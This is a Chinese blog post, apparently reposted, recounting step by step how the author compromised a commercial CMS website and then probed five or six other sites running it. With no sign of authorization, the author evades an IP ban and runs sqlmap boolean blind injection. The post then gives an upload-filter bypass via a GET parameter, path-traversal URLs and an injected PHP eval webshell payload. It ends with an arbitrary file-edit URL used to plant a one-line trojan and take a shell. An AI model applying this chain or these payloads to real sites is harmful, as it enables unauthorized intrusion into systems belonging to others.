目标站:
先对网站进行敏感目录 / 文件扫描,结果很失望,封 IP 了。
换个 IP 继续,速度慢一点,扫了很久就出来个 admin.php
其他页面都是静态的。。。
打开 admin.php,自然是后台了。
输入 admin,admin 测试弱口令。
结果还没点登录就提示,请输入正确的密码。
这应该是用 js 检测密码的长度,换成 123456,可以了。
点登录,提示密码错误。然后出来了个验证码。
然后在用户名加个单引号,输入验证码,再提交。
心里想,要是直接给我个报错注入就爽了。
结果提示用户名不存在。
然后验证码居然还不变,,不用想了,能爆破。
但是我的爆破字典比较弱鸡,爆破成功率令人发指。
继续测试了下,admin'or'a'='a
然后居然提示我密码错误,看来是有盲注了。
盲注比较慢,我优先选择更好的方法。
继续收集信息搞了半天,*** 的,全是静态页面,还是先去跑盲注吧。
跑注入大家都会。这里用的 sqlmap(等我 luanmap 写完了回头试试)。
有个小技巧就是确定注入类型了,这里可以直接指定–tech B –dbms mysql
表示是 MySQL 数据库的布尔盲注,比时间延迟注入还是快很多的。
休息了一会儿结果就出来了。
有两个管理员账号,拿去 cmd5.com 解密还要收费,试试吐司的 MD5 解密成功得到密码:mima_lu4n.com
拿去登录后台:
功能挺多的,怎么说也是商业 CMS 吧。如果就一个简单的发布新闻,傻子才买。
继续做测试。先去找上传点。
编辑文章,发现了两个上传点,一个是 Kind Editor 编辑器的,另一个是这个 CMS 自己弄的上传缩约图:
在系统设置模块里看到有两个编辑器可选择:
经过测试这两个编辑器都是不能利用的。(开源的就是比不开源的安全点)
使用 CMS 自己写的上传功能,抓包得到如下 URL:
http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|bmp
老司机们都能直接看出来,这里居然把允许上传的文件后缀放在 GET 参数里面,明显可以利用嘛。
构造:
http://lu4n.com/admin.php?m=fupload&a=commonUpload&opener_id=bannerimg1&height=250&width=500&upload_allowext=png|jpg|gif|php
可惜,没有那么简单。上传成功后提示成功。可以没回显出路径来.. 这怎么可能.. 一定是我打开方式不对吧
然后仔细看了下 burp,发现确实没有回显,可是没有回显他是怎么上传缩约图的呢?
跑去上传个缩约图看看。
额。看来是我的 burp 抓不到 flash 上传的数据包吧。。
然后点了下站内选择,看看能不能找到我的 php shell.
结果很不错。看了眼 url,又是个有问题的地方。
构造下 URL:
http://lu4n.com/admin.php?m=ffiles&a=images&opener_id=info_thumb&shower_id=&path=/2017/../../../../
可以列目录。
先去找找我的 shell 位置。翻了一会儿在 files 目录里找到了:
心里一阵暗喜,这垃圾 cms。
访问下 shell 地址:
WTF!
居然目录设置权限,不能执行 PHP 脚本,我 * 你 **。
这咋办?
最简单的方法,去找别的站,反正是要 CMS 的源码,又不是非要这个站的权限,等我拿到源码审计出别的漏洞不就更容易了吗
于是我去搞了 5,6 个别的站测试,我的内心是崩溃的。
全部都是没有执行脚本的权限。。。唯独有一个不是因为没有执行脚本的权限而失败的
那个站都不能写文件进去…
此路不通换条走了。继续测试,发现了这个:
有些 CMS,这里的配置是会写个脚本文件里面的,利用那个列目录的漏洞去列了下目录,发现确实有个配置文件。
大概可能也许这里的内容会写进去(后来读文件看了下确实如此)
把水印路径修改成:
- ','test'=>"${@eval($_POST['luan'])};",'lu4n.com'=>'
然后去连接 config.inc.php
然后,他么失败了。。。改成 phpinfo(),访问下发现代码没有被执行。
把 config.php,config.cache.php.CopyOfconfig.inc.php 都试了,都不行。。大概是把单引号转义了把(后来读文件确实如此)
这个方法又不行,这就他么很操蛋了。
继续测试测试功能,发现了这个:
可以新建页面并且可以插模板。
一开始的思路是,新建 luan.php 页面,然后写 shell 进去。
设置页面文件名那里是不能修改后缀的,锁定为 html,通过抓包强制修改成 php。
结果发现行不通,他不会生成文件,而是把页面文件名和内容写入了数据库,然后通过路由从数据库中读取对应的页面内容,即便我改成了 luan.php 的后缀也是不行的。
换下思路,这里可以使用模板,也许存在任意文件读取。
列目录找个 php 文件,填入路径,提示成功,然后去访问 URL:
他会在模板文件后面添加上. html,抓包分析了下:
把这个 ishtml 参数改下就可以了,他就不会加. html 后缀了。
然后访问我设置的 luan.html:
成功读取到文件源码了。
然后我通过这两个漏洞简单读了读这个 cms 的源码,找到了 getshell 的方法:
也就是上图中的 FtagAction.class.php 文件。没有过滤参数,可以修改任意文件的内容。
构造 URL 访问:
http://lu4n.com/admin.php?m=ftpl&a=edit&filename=/system/../../../../data/CopyOfconfig.inc.php
在这个配置文件里面插入一句话木马,然后菜刀连接,终于成功 getshell。
来源: http://www.tuicool.com/articles/Bn2m6na